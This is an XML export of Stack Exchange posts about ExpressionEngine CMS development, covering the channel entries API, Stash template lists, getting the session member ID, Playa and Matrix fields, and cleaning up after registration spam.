  <row Id="12847" PostTypeId="1" AcceptedAnswerId="12851" CreationDate="2013-08-17T22:06:04.893" Score="3" ViewCount="557" Body="&lt;p&gt;I am working on an add-on solution where I would like to create a channel entry and set a value to a module custom tab field for that entry.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's some code to share what I am up to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;load-&amp;gt;library('api'); &#xA;$this-&amp;gt;EE-&amp;gt;api-&amp;gt;instantiate('channel_entries');&#xA;&#xA;// Build data array&#xA;$data = array(          &#xA;    'author_id' =&amp;gt; $member_id, // Member ID&#xA;    'title' =&amp;gt; $title,&#xA;    'entry_date' =&amp;gt; $date,&#xA;    'modl_giving_impact_member_opportunities__opportunity_id_token' =&amp;gt; $opportunity_id_token, // Giving Opportunity token&#xA;    );&#xA;&#xA;// Add new entry into channel&#xA;$this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;submit_new_entry($channel_id, $data);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's how I am attempting to target the module field:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;modl_giving_impact_member_opportunities__opportunity_id_token&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[module class name]__[field name]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Entry is being created but no luck with module field data being stored.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Anyway know how to properly include module data field data in my $data array?&lt;/p&gt;&#xA;" OwnerUserId="36" LastEditorUserId="36" LastEditDate="2013-08-18T01:18:56.783" LastActivityDate="2013-08-18T08:36:35.230" Title="save_entry or submit_new_entry Channel API Methods: How do you store module field data?" Tags="|add-on-development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12848" PostTypeId="1" AcceptedAnswerId="15298" CreationDate="2013-08-18T00:13:21.870" Score="1" ViewCount="933" Body="&lt;p&gt;Good day, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An error was encountered when I was trying to export order details to PDF in Store Module. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Following are the errors:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;A PHP Error was encountered:&#xA;Severity: Warning ;  &#xA;Message: Illegal string offset 'hex';   &#xA;Filename: include/style.cls.php ;  &#xA;Line Number: 1418;&#xA;&#xA;Unable to stream pdf: headers already sent&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Version of EE and Store are 2.6.1 and 1.64 respectively. &lt;/p&gt;&#xA;" OwnerUserId="1908" LastEditorUserId="150" LastEditDate="2013-08-25T20:55:12.923" LastActivityDate="2013-11-01T22:03:16.713" Title="Store - PHP Error was encountered when tried to export order details in store" Tags="|expresso-store|php|expresso|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12849" PostTypeId="2" ParentId="12844" CreationDate="2013-08-18T07:58:41.833" Score="3" Body="&lt;p&gt;Out of the box, simple commerce (SC) works to a point. &#xA;500 error, hmm have you changed any source code? If not, your settings are wrong. Reread the documentation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said that, i have just completed programming of a similar project with subscriptions. The subscription side of things for SC only handles a few ipn messages. In fact, ee docs suggest you handle subscriptions via paypal anyway ( not sc)&#xA;Check the ipn txn_type that errored. Ensure SC has a method for it.&#xA;If you want a better solution than SC, check out memberr. It has many good features. After purchasing memberr and playing with it for a month, we ditched it and rewrote and extended parts of SC to handle the ipn messages i needed - EOT, CANCEL, PURCHASE etc, added a few extra db tables for the subscriptions and created new control panel screens. I would have preferred to use an off the shelf product  like memberr but found it had a bug in the code somewhere that wasnt setting the status of members entry correctly when the subscription expired.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final thought, the purchase ipn is handled by SC for items but not subscriptions. &lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-08-18T08:37:02.697" LastActivityDate="2013-08-18T08:37:02.697" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="12850" PostTypeId="2" ParentId="12758" CreationDate="2013-08-18T08:09:41.770" Score="3" Body="&lt;p&gt;You need to write some custom code in the Simple Commerce module. Get the txn_type for the ipn then add a method to handle it. For an out of the box solution, check if memberr can do what you want. &lt;/p&gt;&#xA;" OwnerUserId="951" LastActivityDate="2013-08-18T08:09:41.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12851" PostTypeId="2" ParentId="12847" CreationDate="2013-08-18T08:36:35.230" Score="2" Body="&lt;p&gt;Field/entry data isn't really related to a module in EE, so it never know what to do with what you've passed it. Fields aren't part of modules, their fieldtypes, so you may need to rethink your approach and include a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/fieldtypes.html&quot; rel=&quot;nofollow&quot;&gt;fieldtype&lt;/a&gt; along with your module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How is your data held? Is it cross referenced in another table, or are you storing in the normal way inside channel_data automatically?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's the normal straight forward way, then fields aren't referenced by their field name, but their field ID, typically &quot;field_id_x&quot;, then there's a lookup to exp_channel_fields table on the field_id to get the name or reference name (in your case &quot;opportunity_id_token&quot;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Depending on where the data came from that you want to set you may need to hard code (or via settings) what the field is (either ID, or name and do a lookup to find the ID). Or you could do a lookup to see which field is associated with your fieldtype (assumes only 1 field would ever use your fieldtype), then add that reference to your array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Build data array&#xA;$data = array(          &#xA;    'author_id' =&amp;gt; $member_id, // Member ID&#xA;    'title' =&amp;gt; $title,&#xA;    'entry_date' =&amp;gt; $date,&#xA;    'field_id_xx' =&amp;gt; $opportunity_id_token, // Giving Opportunity token&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: &lt;code&gt;submit_new_entry&lt;/code&gt; is being depreciated as of EE v2.6, you should use &lt;code&gt;save_entry&lt;/code&gt; instead. &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/api/api_channel_entries.html#id5&quot; rel=&quot;nofollow&quot;&gt;Ref&lt;/a&gt; There are also examples referencing the field IDs in that link.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to associate data relating to an entry in your own table - so the Giving Opportunity token isn't shown on the Control Panel edit/publish entries pages, but kept separate - then this could be done purely in your module. All you'd need to do is once you've created the entry (with basic details) via the API, use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;api_channel_entries-&amp;gt;entry_id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To get the entry just created via the API. then save your module data in your own table cross-referencing the entry_id.&lt;/p&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-08-18T08:36:35.230" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12852" PostTypeId="1" CreationDate="2013-08-18T08:42:57.100" Score="0" ViewCount="790" Body="&lt;p&gt;EE 2.6.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a page with a standard channel entries tag as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;1&quot; channel=&quot;{embed:category}&quot;}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;followed by another channel entries tag, which is included as an embedded file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries limit=&quot;6&quot; channel=&quot;{segment_1}&quot; url_title=&quot;not {segment_2}&quot; orderby=&quot;random&quot; dynamic=&quot;no&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I'm trying to do is show further entries from the same channel, but not the entry in the second segment, which is already being shown on the page. So, if I was displaying an entry from the Cakes channel, the 2nd channel entries tag would show a list more more cakes, but not the one being displayed on the main section of the page. The url_titl=&quot;not {segment_2}&quot; does not seem to be working. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Kind regards,&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Matt&lt;/p&gt;&#xA;" OwnerUserId="1829" LastActivityDate="2014-07-06T13:36:03.527" Title="How to display more entries from the same channel, but exclude one already being shown?" Tags="|channel-entries|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12853" PostTypeId="2" ParentId="12846" CreationDate="2013-08-18T08:55:10.363" Score="3" Body="&lt;p&gt;There is no documentation on this. Think of a fieldtype not as a single input or textfield, but as a single piece of data.  So you could build multiple fieldtypes as separate files and folders (and completely different add-ons) or there's a couple of other ways to approach it: either storing the data in channel_data table as delimited or serialized data (for the multiple fields), or building another table that stores the values separately in different columns.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your single fieldtype class can simply output 2 input boxes in the view (so appearing as two field(types)s):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; name=&quot;my_field[value1]&quot; id=&quot;cart-tax-rate&quot; value=&quot;&amp;lt;?= $existingData['my_value1']; ?&amp;gt;&quot; /&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;my_field[value2]&quot; id=&quot;cart-tax-rate&quot; value=&quot;&amp;lt;?= $existingData['my_value2']; ?&amp;gt;&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then your fieldype method to save the data would either serialize it, or delimiter it in some way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you take the data submitted and store it in your own table using the reference of the entry ID.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your field type will also need to pull this data on display too (or format it if you chose the first option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any data stored in the channel_data table can also be used for searching, so if you do hold the data in your own table, you might want to consider dropping key pieces of data into the native channel_data column for your fieldtype for search purposes.&lt;/p&gt;&#xA;" OwnerUserId="425" LastEditorUserId="425" LastEditDate="2013-08-18T10:22:36.840" LastActivityDate="2013-08-18T10:22:36.840" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12854" PostTypeId="2" ParentId="12852" CreationDate="2013-08-18T11:25:03.127" Score="1" Body="&lt;p&gt;Matt, id use a plugin called stash. Take some time to read the docs and do little tests to see how it works. Most people who start using it misunderstand parse order.&#xA;Using stash set_list wrapping a single channel:entries tag you can create a list of all seven entries, then later in the same template use get_list to display in your markup.&#xA;This approach will save using a second CI tag and an embed, which means less queries and overhead.&lt;/p&gt;&#xA;" OwnerUserId="951" LastActivityDate="2013-08-18T11:25:03.127" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12855" PostTypeId="2" ParentId="12827" CreationDate="2013-08-18T12:04:47.827" Score="1" Body="&lt;p&gt;Your code looks right. Trust me, author_only does work.&#xA;First rule out the obvious: In your safecracker form, output {author_id} and {member_id} and make sure they match. &#xA;Second, suggest checking member group &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/cp/members/member_groups_edit.html&quot; rel=&quot;nofollow&quot;&gt;settings&lt;/a&gt; that you can edit entry&lt;/p&gt;&#xA;" OwnerUserId="951" LastActivityDate="2013-08-18T12:04:47.827" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12856" PostTypeId="2" ParentId="12846" CreationDate="2013-08-18T12:37:32.027" Score="4" Body="&lt;p&gt;Any ft files in the root of your package directory (system/expressionengine/third_party/your_package) will be recognized as part of the package. See P&amp;amp;T's &lt;a href=&quot;http://devot-ee.com/add-ons/field-pack&quot; rel=&quot;nofollow&quot;&gt;Field Pack&lt;/a&gt; for an example.&lt;/p&gt;&#xA;" OwnerUserId="617" LastActivityDate="2013-08-18T12:37:32.027" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12858" PostTypeId="1" AcceptedAnswerId="12871" CreationDate="2013-08-19T01:11:51.637" Score="0" ViewCount="88" Body="&lt;p&gt;Based on the &lt;a href=&quot;https://github.com/croxton/Stash/wiki/Lists&quot; rel=&quot;nofollow&quot;&gt;documentation for stash list&lt;/a&gt;, there are 2 ways to specify lists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is to use &lt;code&gt;{exp:stash:append_list}&lt;/code&gt; or  &lt;code&gt;{exp:stash:prepend_list}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other is to use &lt;code&gt;{exp:stash:set_list}&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using #1 because I need to list the items in reverse order.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;\r|\n|\t&quot; replace=&quot;&quot; regex=&quot;yes&quot;}&#xA;    {exp:messages:foo&#xA;        limit=&quot;10&quot;&#xA;        paginate=&quot;bottom&quot;&#xA;        sort=&quot;desc&quot;&#xA;    }&#xA;        {exp:stash:prepend name=&quot;test&quot;}&#xA;            {stash:message}&amp;lt;section&amp;gt;{message}&amp;lt;/section&amp;gt;{/stash:message}&#xA;        {/exp:stash:prepend}&#xA;    {/exp:messages:foo}&#xA;&#xA;    {exp:stash:get_list name=&quot;test&quot;}&#xA;        {message}&#xA;    {/exp:stash:get_list}&#xA;{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The above doesn't work. Is it because I am using wrong tag to retrieve the list? Is prepend working at all?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Apparently, I need to use &lt;code&gt;{exp:stash:prepend_list}&lt;/code&gt; so I amended the code and tested it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_replace find=&quot;\r|\n|\t&quot; replace=&quot;&quot; regex=&quot;yes&quot;}&#xA;    {exp:messages:foo&#xA;        limit=&quot;10&quot;&#xA;        paginate=&quot;bottom&quot;&#xA;        sort=&quot;desc&quot;&#xA;    }&#xA;        {exp:stash:prepend_list name=&quot;test&quot;}&#xA;            {stash:message}&amp;lt;section&amp;gt;{message}&amp;lt;/section&amp;gt;{/stash:message}&#xA;        {/exp:stash:prepend_list}&#xA;    {/exp:messages:foo}&#xA;&#xA;    {exp:stash:get_list name=&quot;test&quot;}&#xA;        {message}&#xA;    {/exp:stash:get_list}&#xA;{/exp:low_replace}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Still, I get no results.&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="636" LastEditDate="2013-08-19T02:14:05.653" LastActivityDate="2013-08-20T08:43:37.363" Title="{exp:stash:prepend_list) not working" Tags="|stash|list|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12859" PostTypeId="1" AcceptedAnswerId="12861" CreationDate="2013-08-19T02:08:38.820" Score="4" ViewCount="1956" Body="&lt;p&gt;Is there a hook-independent way to get the logged in member id inside a hook handler?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like a function or a global variable?&lt;/p&gt;&#xA;" OwnerUserId="636" LastEditorUserId="150" LastEditDate="2013-08-19T04:25:08.150" LastActivityDate="2013-08-19T04:25:08.150" Title="How to get the logged in member id from PHP / hooks?" Tags="|members|hook|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12860" PostTypeId="2" ParentId="12858" CreationDate="2013-08-19T02:09:01.950" Score="0" Body="&lt;p&gt;I think your code has the wrong Stash tag--it's using &quot;prepend,&quot; but needs &quot;prepend_list:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:prepend_list name=&quot;test&quot;}&#xA;    {stash:message}&amp;lt;section&amp;gt;{message}&amp;lt;/section&amp;gt;{/stash:message}&#xA;{/exp:stash:prepend_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Does that fix it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Updated:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try this (moving the stash tag outside of your messages tag), instead:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:prepend_list name=&quot;test&quot;}&#xA;   {exp:messages:foo&#xA;      limit=&quot;10&quot;&#xA;      paginate=&quot;bottom&quot;&#xA;      sort=&quot;desc&quot;&#xA;    }&#xA;        {stash:message}&amp;lt;section&amp;gt;{message}&amp;lt;/section&amp;gt;{/stash:message}&#xA;    {/exp:messages:foo}&#xA;{/exp:stash:prepend_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1900" LastEditorUserId="1900" LastEditDate="2013-08-19T04:17:28.377" LastActivityDate="2013-08-19T04:17:28.377" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12861" PostTypeId="2" ParentId="12859" CreationDate="2013-08-19T04:23:53.113" Score="9" Body="&lt;p&gt;Yip. You're looking for:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ee()-&amp;gt;session-&amp;gt;userdata('member_id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It's in the session class:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/development/usage/session.html&quot;&gt;http://ellislab.com/expressionengine/user-guide/development/usage/session.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastActivityDate="2013-08-19T04:23:53.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12862" PostTypeId="1" CreationDate="2013-08-19T07:13:31.430" Score="1" ViewCount="92" Body="&lt;p&gt;We’ve recently had a membership registration spamming, which I believe has caused several issues:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Some post titles are displaying twice on our home page (&lt;a href=&quot;http://www.ondemandweekly.com&quot; rel=&quot;nofollow&quot;&gt;http://www.ondemandweekly.com&lt;/a&gt;) and in the Most Popular Post listings&lt;/li&gt;&#xA;&lt;li&gt;Content is duplicated within posts themselves&lt;/li&gt;&#xA;&lt;li&gt;Post author has been reassigned to a bogus spam author&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I’ve turned off membership registration and changed my member trigger word, as well as optimized my tables, and it seems to have resolved the member registration spam issue; however, I’m not sure how to repair the double post display issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some posts actually duplicated themselves, and I’ve deleted any duplicates from the admin panel; however, the double title display and duplicate content within posts remain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are using EE1.7.1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated. I’ve never used SQL, by the way, so please reply at a basic level.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you! &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{embed=&quot;global/head&quot; loc=&quot;home&quot;} &#xA;&#xA;&amp;lt;div id=&quot;articles&quot; class=&quot;grid_12&quot;&amp;gt; &#xA;&#xA;    {exp:weblog:entries weblog=&quot;blog&quot; limit=&quot;1&quot; orderby=&quot;date&quot; paginate=&quot;bottom&quot; status=&quot;featured&quot; } &#xA;&#xA;        &amp;lt;h2 id=&quot;top-headline&quot;&amp;gt;&amp;lt;a href=&quot;{title_permalink=&quot;blog/article&quot;}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;span&amp;gt;more &amp;amp;hellip;&amp;lt;/span&amp;gt;&amp;lt;/h2&amp;gt; &#xA;&#xA;    {/exp:weblog:entries} &#xA;&#xA;    &amp;lt;div class=&quot;row clearfix&quot;&amp;gt; &#xA;&#xA;    &amp;lt;div class=&quot;grid_4 alpha&quot;&amp;gt; &#xA;&#xA;        {embed=&quot;blog/stories-for-home-page&quot; category_1=&quot;38&quot;} &#xA;&#xA;    &amp;lt;/div&amp;gt;&#xA;&#xA;    &amp;lt;div class=&quot;grid_4&quot;&amp;gt; &#xA;        {embed=&quot;blog/stories-for-home-page&quot; category_1=&quot;40&quot;} &#xA;    &amp;lt;/div&amp;gt; &#xA;&#xA;    &amp;lt;div class=&quot;grid_4 omega&quot;&amp;gt; &#xA;        {embed=&quot;blog/stories-for-home-page&quot; category_1=&quot;43&quot;} &#xA;    &amp;lt;/div&amp;gt; &#xA;&amp;lt;/div&amp;gt; &#xA;&#xA;&amp;lt;div class=&quot;row clearfix&quot;&amp;gt; &#xA;&#xA;    &amp;lt;div class=&quot;grid_4 alpha&quot;&amp;gt; &#xA;&#xA;        {embed=&quot;blog/stories-for-home-page&quot; category_1=&quot;36&quot;} &#xA;&#xA;    &amp;lt;/div&amp;gt; &#xA;&#xA;    &amp;lt;div class=&quot;grid_4&quot;&amp;gt; &#xA;&#xA;        {embed=&quot;blog/stories-for-home-page&quot; category_1=&quot;42&quot;} &#xA;&#xA;    &amp;lt;/div&amp;gt; &#xA;&#xA;    &amp;lt;div class=&quot;grid_4 omega&quot;&amp;gt; &#xA;&#xA;        {embed=&quot;blog/stories-for-home-page&quot; category_1=&quot;41&quot;} &#xA;&#xA;    &amp;lt;/div&amp;gt; &#xA;&#xA;&amp;lt;/div&amp;gt; &#xA;&#xA;{embed=&quot;ads/featured_video&quot; loc=&quot;home&quot;} &#xA;&#xA;{embed=&quot;blog/recent-posts&quot; loc=&quot;home&quot;} &amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;grid_4&quot;&amp;gt; &#xA;&#xA;    &amp;lt;div id=&quot;ad&quot;&amp;gt; &#xA;&#xA;        {embed=&quot;ads/160x1600&quot; loc=&quot;home&quot;} &#xA;&#xA;        {embed=&quot;blog/twitter-widget&quot; loc=&quot;home&quot;} &#xA;&#xA;    &amp;lt;/div&amp;gt; &#xA;&amp;lt;/div&amp;gt; &#xA;&#xA;{embed=&quot;global/footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1910" LastEditorUserId="159" LastEditDate="2013-08-22T10:15:08.433" LastActivityDate="2013-08-22T10:15:08.433" Title="Post Titles/Post Content Displaying Twice" Tags="|spam|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12863" PostTypeId="2" ParentId="12852" CreationDate="2013-08-19T07:23:38.687" Score="0" Body="&lt;p&gt;I couldn't understand why parameter &lt;code&gt;url_title=&quot;not {segment_2}&quot;&lt;/code&gt; isn't working while segment variables are parsed so early. Also, you are using &lt;code&gt;channel=&quot;{segment_1}&quot;&lt;/code&gt; which seems working for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you mentioned that you are putting that channel entry tag within embedded template so try by having url_title as embed variable like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;{exp:channel:entries limit=&quot;6&quot; channel=&quot;{segment_1}&quot; url_title=&quot;not {embed:url_title}&quot; orderby=&quot;random&quot; dynamic=&quot;no&quot;}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can try it and share if it worked.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-08-19T07:23:38.687" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12864" PostTypeId="2" ParentId="12842" CreationDate="2013-08-19T09:37:29.003" Score="1" Body="&lt;p&gt;The easiest way to do this would be to use the Default Shipping Plugin with a name of &quot;Store Pickup&quot; or similar. Then create a new rule that does not add any cost. Then you can create a second Default Shipping Plugin (actually you can use any Shipping gateway) instance for your regular delivery items that will allow you to calculate shipping cost based upon rules supplied.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-08-19T09:37:29.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12866" PostTypeId="1" AcceptedAnswerId="12873" CreationDate="2013-08-19T11:06:08.523" Score="1" ViewCount="74" Body="&lt;p&gt;We are building a fairly large &amp;amp; complex site. The problem I am running into is one of limiting. Here's what I need it to do:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are various sectors. Each sector has a landing page. On the landing pages we display news stories relating to that particular sector. The way we do this is to use Playa in the news story entry to select the related sector(s), and then pull through the entries on the sector landing page templates like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news-article&quot; dynamic=&quot;off&quot; orderby=&quot;date&quot; sort=&quot;desc&quot;}&#xA;        {exp:playa:children var_prefix=&quot;news&quot; field=&quot;news-related-sector&quot;}&#xA;            {if {structure:page:entry_id} == {news:entry_id}}&#xA;                &amp;lt;article class=&quot;aside-news-listing&quot;&amp;gt;&#xA;                    &amp;lt;a href=&quot;{page_url}&quot;&amp;gt;&#xA;                        {if news-thumbnail}&#xA;                            &amp;lt;img src=&quot;{news-thumbnail:news-thumbnail}&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;                        {if:elseif news-image}&#xA;                            &amp;lt;img src=&quot;{news-image:news-thumbnail}&quot; alt=&quot;{title}&quot; /&amp;gt;&#xA;                        {/if}&#xA;                    &amp;lt;/a&amp;gt;&#xA;                    &amp;lt;div class=&quot;article-text-block&quot;&amp;gt;&#xA;                        &amp;lt;h3&amp;gt;&amp;lt;a href=&quot;{page_url}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h3&amp;gt;&#xA;                        &amp;lt;ul&amp;gt;&#xA;                            {categories}&#xA;                                &amp;lt;a href=&quot;{path='news/'}&quot;&amp;gt;&amp;lt;li class=&quot;sector1text&quot;&amp;gt;{category_name}&amp;lt;/li&amp;gt;&amp;lt;/a&amp;gt;&#xA;                            {/categories}&#xA;                        &amp;lt;/ul&amp;gt;&#xA;                        &amp;lt;span&amp;gt;{entry_date format='%d %F %Y'}&amp;lt;/span&amp;gt;&#xA;                    &amp;lt;/div&amp;gt;&#xA;                &amp;lt;/article&amp;gt;&#xA;            {/if}&#xA;        {/exp:playa:children}&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now this works fine - but it pulls through all news entries related to that sector, and we only want to display the latest 2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using limit=&quot;2&quot; on the channel entries tag and nothing displays. I'm guessing this is because it just selects the first 2 entries and never hits one that is related to the sector.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also tried using limit=&quot;2&quot; on the playa children tag but all related news stories display - not limited.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried using an {if count &amp;lt;= 2} conditiona inside and outside of the playa tag and inside the entry_id conditional and nothing is displayed in any case. I'm now out of ideas! Can anyone shed some light on this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Notes: I am using EE 2.6.1 and Playa 4.4.5. I know this might not be the best way to achieve what we want to - but I didn't build it and it's what I have to work with :-P&lt;/p&gt;&#xA;" OwnerUserId="1870" LastActivityDate="2013-08-19T13:35:58.123" Title="Trying to limit displayed entries to 2 - stops before it finds entries to display so nothing shows" Tags="|ee2|channel-entries|playa|pixelandtonic|conditionals|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12867" PostTypeId="1" AcceptedAnswerId="12874" CreationDate="2013-08-19T11:30:44.547" Score="0" ViewCount="103" Body="&lt;p&gt;I'm having trouble getting Safecracker to create the rows on a Matrix field. I've managed to get this to work IF the field is a 'Text Input' field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when the field is a Playa field, it doesn't create the row.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My code is (I'm pulling the data from a channel:entries loop):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Create New Row --}&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;member_courses[row_order][]&quot; value=&quot;row_new_{exp:mx_calc expression=&quot;{count}-1&quot;}&quot;&amp;gt;&#xA;&#xA;{!-- Course ID / Name --}&#xA;&amp;lt;input type=&quot;hidden&quot; name=&quot;member_courses[row_new_{exp:mx_calc expression=&quot;{count}-1&quot;}][col_id_20]&quot; value=&quot;[{entry_id}] [{url_title}] {title}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I found that if you add this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;member_courses[selections][]&quot; value=&quot;{entry_id}&quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should work, but it doesn't.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I get Safecracker to create an entry, that creates rows in a Matrix (But also creates the relationship)&lt;/p&gt;&#xA;" OwnerUserId="362" LastActivityDate="2013-08-19T13:03:05.347" Title="SafeCracker problems... Playa Field inside a Matrix" Tags="|matrix|safecracker|playa|zoo-visitor|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
